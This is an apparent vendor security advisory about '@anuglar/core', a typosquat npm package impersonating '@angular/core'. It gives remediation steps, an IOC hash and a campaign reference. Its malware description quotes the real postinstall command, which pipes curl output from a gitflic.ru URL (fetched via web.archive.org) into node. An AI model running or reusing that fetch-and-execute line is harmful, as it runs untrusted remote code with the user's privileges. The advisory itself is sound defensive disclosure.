Which versions of @anuglar/core are malicious?

The following npm versions of @anuglar/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @anuglar/core if I installed it?

@anuglar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anuglar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @anuglar/core — how do I know if it already compromised me?

If @anuglar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @anuglar/core part of a known attack campaign?

Yes — @anuglar/core is associated with the IN-MAL-2026-020994 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @anuglar/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @anuglar/core (version 22.2.1).

Malicious package

@anuglar/corenpm

Advisory published Oct 5, 2026Updated Oct 5, 2026

@anuglar/core is a confirmed malicious npm package (MAL-2026-17541) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @anuglar/core (npm)

MAL-2026-17541

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @anuglar/core

What this malware does

Package name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on npm install. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references ps and id for host reconnaissance.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @anuglar/core (version 22.2.1).
If you installed it — respond
@anuglar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anuglar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @anuglar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @anuglar/core on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020994

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @anuglar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database